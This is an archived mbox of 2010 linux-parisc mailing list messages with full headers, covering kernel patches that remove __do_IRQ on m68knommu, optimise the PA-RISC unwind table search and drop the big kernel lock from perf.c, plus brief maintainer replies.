My thought is, put something in the readme - like Jay Estabrook's note in the
current Alpha Core build.  At least so those of us who get wierd msgs during a
kernel build can know what they are all about.

TIA

jn
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: add tty driver to PDC console
Date: Thu, 9 Sep 2010 11:35:20 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20100909153520.GI24791@bombadil.infradead.org>
References: <20100614192441.245da011@zombie>
 <20100615133410.044ea5b1@borg.bxl.tuxicoman.be>
 <20100615113553.GP20317@bombadil.infradead.org>
 <20100730163008.64c9de58@borg.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1284046526 13315 80.91.229.12 (9 Sep 2010 15:35:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 9 Sep 2010 15:35:26 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 09 17:35:25 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Otj9o-0000gE-78
	for glpp-linux-parisc@lo.gmane.org; Thu, 09 Sep 2010 17:35:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754411Ab0IIPfX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Sep 2010 11:35:23 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:52672 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751600Ab0IIPfX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Sep 2010 11:35:23 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1Otj9k-0007xO-9H; Thu, 09 Sep 2010 15:35:20 +0000
Content-Disposition: inline
In-Reply-To: <20100730163008.64c9de58@borg.bxl.tuxicoman.be>
User-Agent: Mutt/1.5.20 (2009-08-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3086
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3086>

On Fri, Jul 30, 2010 at 04:30:08PM +0200, Guy Martin wrote:
> On Tue, 15 Jun 2010 07:35:53 -0400
> Kyle McMartin <kyle@mcmartin.ca> wrote:
> 
> 
> > I figured... I'll take a look at it over the weekend. (Also, I'll see
> > if I can dig up the radeonfb hacks.)
> 
> 
> Any luck ? :)
> 
> Is it still possible to get this in 2.6.35 ?
> 

Ugh, sorry about that, I'll poke Linus about this on the weekend.

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ungerer <gerg@snapgear.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.parisc
Subject: Re: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Date: Fri, 10 Sep 2010 09:17:37 +1000
Lines: 162
Approved: news@gmane.org
Message-ID: <4C896B11.6030705@snapgear.com>
References: <20100908152036.643594727@linutronix.de> <4C888AFF.80304@snapgear.com> <20100909140926.GH24791@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1284074363 19522 80.91.229.12 (9 Sep 2010 23:19:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 9 Sep 2010 23:19:23 +0000 (UTC)
Cc: Thomas Gleixner <tglx@linutronix.de>,
	LKML <linux-kernel@vger.kernel.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	linux-alpha@vger.kernel.org, linux-cris-kernel@axis.com,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Tony Luck <tony.luck@intel.com>, linux-ia64@vger.kernel.org,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	linux-parisc@vger.kernel.org, Chris Zankel <chris@zankel.net>,
	linux-arch@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-arch-owner@vger.kernel.org Fri Sep 10 01:19:17 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1OtqOh-0008Du-Mt
	for glka-linux-arch@lo.gmane.org; Fri, 10 Sep 2010 01:19:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754237Ab0IIXTO (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 9 Sep 2010 19:19:14 -0400
Original-Received: from dalsmrelay2.nai.com ([205.227.136.216]:31553 "HELO
	dalsmrelay2.nai.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with SMTP id S1753530Ab0IIXTM (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Thu, 9 Sep 2010 19:19:12 -0400
Original-Received: from (unknown [10.64.5.51]) by dalsmrelay2.nai.com with smtp
	 id 0919_0113_a6606d4e_bc68_11df_b53a_00219b929abd;
	Thu, 09 Sep 2010 23:19:10 +0000
Original-Received: from dalexbr1.corp.nai.org (161.69.111.81) by DALEXHT1.corp.nai.org
 (10.64.5.51) with Microsoft SMTP Server id 8.2.254.0; Thu, 9 Sep 2010
 18:18:17 -0500
Original-Received: from sncexbr1.corp.nai.org ([161.69.5.246]) by dalexbr1.corp.nai.org
 with Microsoft SMTPSVC(6.0.3790.3959);	 Thu, 9 Sep 2010 18:18:16 -0500
Original-Received: from STPSMTP01.scur.com ([10.96.96.163]) by sncexbr1.corp.nai.org
 with Microsoft SMTPSVC(6.0.3790.3959);	 Thu, 9 Sep 2010 16:18:14 -0700
Original-Received: from cyberguard.com.au ([10.46.129.16]) by STPSMTP01.scur.com with
 Microsoft SMTPSVC(6.0.3790.4675);	 Thu, 9 Sep 2010 18:18:13 -0500
Original-Received: from localhost (localhost.localdomain [127.0.0.1])	by
 bne.snapgear.com (Postfix) with ESMTP id 5390FEBACC;	Fri, 10 Sep 2010
 09:18:08 +1000 (EST)
X-Virus-Scanned: amavisd-new at snapgear.com
Original-Received: from bne.snapgear.com ([127.0.0.1])	by localhost (bne.snapgear.com
 [127.0.0.1]) (amavisd-new, port 10024)	with ESMTP id ar68YubT+YaA; Fri, 10
 Sep 2010 09:17:55 +1000 (EST)
Original-Received: from [172.22.196.222] (bnelabfw.scur.com [10.46.129.16])	by
 bne.snapgear.com (Postfix) with ESMTP;	Fri, 10 Sep 2010 09:17:55 +1000 (EST)
User-Agent: Thunderbird 2.0.0.24 (X11/20100411)
In-Reply-To: <20100909140926.GH24791@bombadil.infradead.org>
X-OriginalArrivalTime: 09 Sep 2010 23:18:14.0155 (UTC) FILETIME=[46ED65B0:01CB5075]
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:7525 gmane.linux.kernel:1034181 gmane.linux.ports.alpha:1107 gmane.linux.ports.ia64:21415 gmane.linux.ports.parisc:3088
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3088>


Hi Kyle,

Kyle McMartin wrote:
> On Thu, Sep 09, 2010 at 05:21:35PM +1000, Greg Ungerer wrote:
>> The m68knommu arch should be easy to fix up. Here is a first pass
>> patch. Tested and working on 1 board so far. I need to check all
>> the processor types, and test a few more to be sure :-)
>>
> 
> Dunno if you noticed, Greg, but you've already had a removal patch
> submitted some time ago...

I had forgotten about that patch... But if you follow the email
trail I had to drop it soon after, it caused user space to lock
up. I let Steven know (in that same thread) but he never came
back with any fixes/updates.

(That patch also added support for edge triggered GPIO interrupts,
and that may well have been the source of the problems).

Thanks
Greg


> Date: Wed, 16 Dec 2009 19:15:39 -0800                                                                                                                                              
> From: Steven King <sfking@fdwdc.com>                                                                                                                                               
> To: Greg Ungerer <gerg@snapgear.com>                                                                                                                                               
> Subject: [PATCH] m68knommu: get rid of __do_IRQ and add support for
>  using gpio irqs.       
> 
> (noticed this while searching for __do_IRQ related stuff in my email
> last night.)
> 
> regards, Kyle
> 
>> Regards
>> Greg
>>
>>
>> -- 
>> ------------------------------------------------------------------------
>> Greg Ungerer  --  Principal Engineer        EMAIL:     gerg@snapgear.com
>> SnapGear Group, McAfee                      PHONE:       +61 7 3435 2888
>> 8 Gardner Close                             FAX:         +61 7 3217 5323
>> Milton, QLD, 4064, Australia                WEB: http://www.SnapGear.com
> 
>> m68knommu: stop using __do_IRQ
>>
>> The use of __do_IRQ is deprecated, so lets stop using it.
>> Generally the interrupts on the supported processors here are
>> level triggered, so this is strait forward to switch over to
>> using the standard handle_level_irq flow handler.
>>
>> Signed-off-by: Greg Ungerer <gerg@uclinux.org>
>> ---
>>  arch/m68knommu/Kconfig                       |    4 ++++
>>  arch/m68knommu/platform/5272/intc.c          |    1 +
>>  arch/m68knommu/platform/68328/ints.c         |    1 +
>>  arch/m68knommu/platform/68360/ints.c         |    1 +
>>  arch/m68knommu/platform/coldfire/intc-2.c    |    1 +
>>  arch/m68knommu/platform/coldfire/intc-simr.c |    1 +
>>  arch/m68knommu/platform/coldfire/intc.c      |    1 +
>>  7 files changed, 10 insertions(+), 0 deletions(-)
>>
>> diff --git a/arch/m68knommu/Kconfig b/arch/m68knommu/Kconfig
>> index 2609c39..fd28178 100644
>> --- a/arch/m68knommu/Kconfig
>> +++ b/arch/m68knommu/Kconfig
>> @@ -59,6 +59,10 @@ config GENERIC_HARDIRQS
>>  	bool
>>  	default y
>>  
>> +config GENERIC_HARDIRQS_NO__DO_IRQ
>> +	bool
>> +	default y
>> +
>>  config GENERIC_CALIBRATE_DELAY
>>  	bool
>>  	default y
>> diff --git a/arch/m68knommu/platform/5272/intc.c b/arch/m68knommu/platform/5272/intc.c
>> index 7081e0a..e9da6f1 100644
>> --- a/arch/m68knommu/platform/5272/intc.c
>> +++ b/arch/m68knommu/platform/5272/intc.c
>> @@ -133,6 +133,7 @@ void __init init_IRQ(void)
>>  		irq_desc[irq].depth = 1;
>>  		irq_desc[irq].chip = &intc_irq_chip;
>>  		intc_irq_set_type(irq, 0);
>> +		set_irq_handler(irq, handle_level_irq);
>>  	}
>>  }
>>  
>> diff --git a/arch/m68knommu/platform/68328/ints.c b/arch/m68knommu/platform/68328/ints.c
>> index b91ee85..90516ee 100644
>> --- a/arch/m68knommu/platform/68328/ints.c
>> +++ b/arch/m68knommu/platform/68328/ints.c
>> @@ -183,6 +183,7 @@ void __init init_IRQ(void)
>>  		irq_desc[i].action = NULL;
>>  		irq_desc[i].depth = 1;
>>  		irq_desc[i].chip = &intc_irq_chip;
>> +		set_irq_handler(irq, handle_level_irq);
>>  	}
>>  }
>>  
>> diff --git a/arch/m68knommu/platform/68360/ints.c b/arch/m68knommu/platform/68360/ints.c
>> index 6f22970..cdf691e 100644
>> --- a/arch/m68knommu/platform/68360/ints.c
>> +++ b/arch/m68knommu/platform/68360/ints.c
>> @@ -136,6 +136,7 @@ void init_IRQ(void)
>>  		irq_desc[i].action = NULL;
>>  		irq_desc[i].depth = 1;
>>  		irq_desc[i].chip = &intc_irq_chip;
>> +		set_irq_handler(irq, handle_level_irq);
>>  	}
>>  }
>>  
>> diff --git a/arch/m68knommu/platform/coldfire/intc-2.c b/arch/m68knommu/platform/coldfire/intc-2.c
>> index 5598c8b..6410f7e 100644
>> --- a/arch/m68knommu/platform/coldfire/intc-2.c
>> +++ b/arch/m68knommu/platform/coldfire/intc-2.c
>> @@ -88,6 +88,7 @@ void __init init_IRQ(void)
>>  		irq_desc[irq].action = NULL;
>>  		irq_desc[irq].depth = 1;
>>  		irq_desc[irq].chip = &intc_irq_chip;
>> +		set_irq_handler(irq, handle_level_irq);
>>  	}
>>  }
>>  
>> diff --git a/arch/m68knommu/platform/coldfire/intc-simr.c b/arch/m68knommu/platform/coldfire/intc-simr.c
>> index 1b01e79..7f4abb3 100644
>> --- a/arch/m68knommu/platform/coldfire/intc-simr.c
>> +++ b/arch/m68knommu/platform/coldfire/intc-simr.c
>> @@ -73,6 +73,7 @@ void __init init_IRQ(void)
>>  		irq_desc[irq].depth = 1;
>>  		irq_desc[irq].chip = &intc_irq_chip;
>>  		intc_irq_set_type(irq, 0);
>> +		set_irq_handler(irq, handle_level_irq);
>>  	}
>>  }
>>  
>> diff --git a/arch/m68knommu/platform/coldfire/intc.c b/arch/m68knommu/platform/coldfire/intc.c
>> index a4560c8..40b9e8d 100644
>> --- a/arch/m68knommu/platform/coldfire/intc.c
>> +++ b/arch/m68knommu/platform/coldfire/intc.c
>> @@ -148,6 +148,7 @@ void __init init_IRQ(void)
>>  		irq_desc[irq].depth = 1;
>>  		irq_desc[irq].chip = &intc_irq_chip;
>>  		intc_irq_set_type(irq, 0);
>> +		set_irq_handler(irq, handle_level_irq);
>>  	}
>>  }
>>  
> 
> 


-- 
------------------------------------------------------------------------
Greg Ungerer  --  Principal Engineer        EMAIL:     gerg@snapgear.com
SnapGear Group, McAfee                      PHONE:       +61 7 3435 2888
8 Gardner Close                             FAX:         +61 7 3217 5323
Milton, QLD, 4064, Australia                WEB: http://www.SnapGear.com

From - Thu Nov 08 21:06:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Carmody <ext-phil.2.carmody@nokia.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 1/1] PARISC: unwind - optimise linked-list searches for modules
Date: Fri, 10 Sep 2010 13:47:59 +0300
Lines: 34
Approved: news@gmane.org
Message-ID: <1284115679-23928-1-git-send-email-ext-phil.2.carmody@nokia.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1284115750 28341 80.91.229.12 (10 Sep 2010 10:49:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 10 Sep 2010 10:49:10 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: kyle@mcmartin.ca, deller@gmx.de, jejb@parisc-linux.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 10 12:49:09 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Ou1AK-0001NY-8P
	for glk-linux-kernel-3@lo.gmane.org; Fri, 10 Sep 2010 12:49:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752751Ab0IJKs6 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 10 Sep 2010 06:48:58 -0400
Original-Received: from 87-119-183-14.tll.elisa.ee ([87.119.183.14]:1511 "EHLO
	bazspaz.fatphil.org" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751997Ab0IJKs5 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 10 Sep 2010 06:48:57 -0400
Original-Received: from localhost (spaztop.fatphil.org [192.168.0.199])
	by bazspaz.fatphil.org (Postfix) with ESMTP id C8DEC16935;
	Fri, 10 Sep 2010 13:48:55 +0300 (EEST)
X-Mailer: git-send-email 1.7.2.rc1.37.gf8c40
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1034377 gmane.linux.ports.parisc:3089
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3089>

Having many dozens of modules, the searches down the linked
list of sections would dominate the lookup time, dwarfing
any savings from the binary search within the section.

A simple move-to-front optimisation exploits the commonality
of the code paths taken, and in simple real-world tests
on other architectures reduced the number of steps in the
search to barely more than 1.

Signed-off-by: Phil Carmody <ext-phil.2.carmody@nokia.com>
---
 arch/parisc/kernel/unwind.c |    5 ++++-
 1 files changed, 4 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/kernel/unwind.c b/arch/parisc/kernel/unwind.c
index d58eac1..76ed62e 100644
--- a/arch/parisc/kernel/unwind.c
+++ b/arch/parisc/kernel/unwind.c
@@ -80,8 +80,11 @@ find_unwind_entry(unsigned long addr)
 			if (addr >= table->start && 
 			    addr <= table->end)
 				e = find_unwind_entry_in_table(table, addr);
-			if (e)
+			if (e) {
+				/* Move-to-front to exploit common traces */
+				list_move(&table->list, &unwind_tables);
 				break;
+			}
 		}
 
 	return e;
-- 
1.5.6.5


From - Thu Nov 08 21:06:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 08/18] parisc: remove big kernel lock
Date: Tue, 14 Sep 2010 21:34:59 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <1284492909-7147-9-git-send-email-arnd@arndb.de>
References: <1284492909-7147-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1284492940 15275 80.91.229.12 (14 Sep 2010 19:35:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 14 Sep 2010 19:35:40 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: arnd@arndb.de
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 14 21:35:38 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OvbI1-0001K9-Fm
	for glpp-linux-parisc@lo.gmane.org; Tue, 14 Sep 2010 21:35:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754838Ab0INTfh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Sep 2010 15:35:37 -0400
Original-Received: from moutng.kundenserver.de ([212.227.126.171]:55973 "EHLO
	moutng.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754128Ab0INTfg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Sep 2010 15:35:36 -0400
Original-Received: from localhost.localdomain (port-92-200-37-189.dynamic.qsc.de [92.200.37.189])
	by mrelayeu.kundenserver.de (node=mrbap0) with ESMTP (Nemesis)
	id 0LosLT-1ONeBj1a0J-00gfB6; Tue, 14 Sep 2010 21:35:32 +0200
X-Mailer: git-send-email 1.7.1
In-Reply-To: <1284492909-7147-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V02:K0:MCGBfbMD+XQRtZ2cTafjj7z434XzSzSr56BFckF/vQF
 kBSzV70s67x0ZJYhif/xfud3RwEHtBi5aQhQ/EXyAIhw/qQcJu
 im9dxEEjkqCcrZgvjJVQcehxwzBpfPKFeNYQeti4vgTZxlodWB
 odQ0L52/Ld0Og10eCv3PUG0uhJ/2kBRf2qu/d1TP9O3Vh0VXVk
 0BWmDv343Pdz5gg1vdHOQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3091
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3091>

The parisc version of the perf code is sufficiently
protected by its own spinlock, no need to use the BKL.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: linux-parisc@vger.kernel.org
---
 arch/parisc/kernel/perf.c |    4 ----
 1 files changed, 0 insertions(+), 4 deletions(-)

diff --git a/arch/parisc/kernel/perf.c b/arch/parisc/kernel/perf.c
index f9f6783..ba0c053 100644
--- a/arch/parisc/kernel/perf.c
+++ b/arch/parisc/kernel/perf.c
@@ -46,7 +46,6 @@
 #include <linux/init.h>
 #include <linux/proc_fs.h>
 #include <linux/miscdevice.h>
-#include <linux/smp_lock.h>
 #include <linux/spinlock.h>
 
 #include <asm/uaccess.h>
@@ -261,16 +260,13 @@ printk("Preparing to start counters\n");
  */
 static int perf_open(struct inode *inode, struct file *file)
 {
-	lock_kernel();
 	spin_lock(&perf_lock);
 	if (perf_enabled) {
 		spin_unlock(&perf_lock);
-		unlock_kernel();
 		return -EBUSY;
 	}
 	perf_enabled = 1;
  	spin_unlock(&perf_lock);
-	unlock_kernel();
 
 	return 0;
 }
-- 
1.7.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 08/18] parisc: remove big kernel lock
Date: Tue, 14 Sep 2010 21:14:05 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20100915011405.GM24791@bombadil.infradead.org>
References: <1284492909-7147-1-git-send-email-arnd@arndb.de>
 <1284492909-7147-9-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1284513254 30554 80.91.229.12 (15 Sep 2010 01:14:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 15 Sep 2010 01:14:14 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 15 03:14:13 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OvgZf-0007a6-Rc
	for glpp-linux-parisc@lo.gmane.org; Wed, 15 Sep 2010 03:14:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752030Ab0IOBOJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Sep 2010 21:14:09 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:42428 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751851Ab0IOBOI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Sep 2010 21:14:08 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1OvgZZ-0001bc-RD; Wed, 15 Sep 2010 01:14:05 +0000
Content-Disposition: inline
In-Reply-To: <1284492909-7147-9-git-send-email-arnd@arndb.de>
User-Agent: Mutt/1.5.20 (2009-08-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3092
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3092>

On Tue, Sep 14, 2010 at 09:34:59PM +0200, Arnd Bergmann wrote:
> The parisc version of the perf code is sufficiently
> protected by its own spinlock, no need to use the BKL.
> 

I'd rather just remove the file entirely, as it doesn't work, probably
will never work, and all the relevant people who could have made it work
have left HP and so no longer have access to the documentation. I'll
commit a patch removing it from the kernel for the next merge window.

Nice work Arnd, it's great to see the BKL finally gasping its last
breaths. :)

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anbu Elancheziyan <anbu@drexel.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: PA-RISC system up for adoption
Date: Thu, 16 Sep 2010 12:22:27 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <273f7e108de6d44d02ab3e417eeeae9b@coe.drexel.edu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: dough.gmane.org 1284654668 3317 80.91.229.12 (16 Sep 2010 16:31:08 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 16 Sep 2010 16:31:08 +0000 (UTC)
To: <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 16 18:31:07 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OwHMY-0000NX-T3
	for glpp-linux-parisc@lo.gmane.org; Thu, 16 Sep 2010 18:31:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753013Ab0IPQbG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 Sep 2010 12:31:06 -0400
Original-Received: from mail.ece.drexel.edu ([129.25.60.32]:54715 "EHLO
	mail.ece.drexel.edu" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752748Ab0IPQbF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 Sep 2010 12:31:05 -0400
X-Greylist: delayed 517 seconds by postgrey-1.27 at vger.kernel.org; Thu, 16 Sep 2010 12:31:05 EDT
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.ece.drexel.edu (Postfix) with ESMTP id 4661B3398D
	for <linux-parisc@vger.kernel.org>; Thu, 16 Sep 2010 12:22:27 -0400 (EDT)
X-Virus-Scanned: amavisd-new at coe.drexel.edu
Original-Received: from mail.ece.drexel.edu ([127.0.0.1])
	by localhost (mail.ece.drexel.edu [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id zF3K6caauoSr for <linux-parisc@vger.kernel.org>;
	Thu, 16 Sep 2010 12:22:27 -0400 (EDT)
Original-Received: from webmail.coe.drexel.edu (sssl3.ece.drexel.edu [129.25.60.56])
	by mail.ece.drexel.edu (Postfix) with ESMTP id 2AFF2338CC
	for <linux-parisc@vger.kernel.org>; Thu, 16 Sep 2010 12:22:27 -0400 (EDT)
X-Sender: anbu@drexel.edu
User-Agent: RoundCube Webmail/0.1b
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
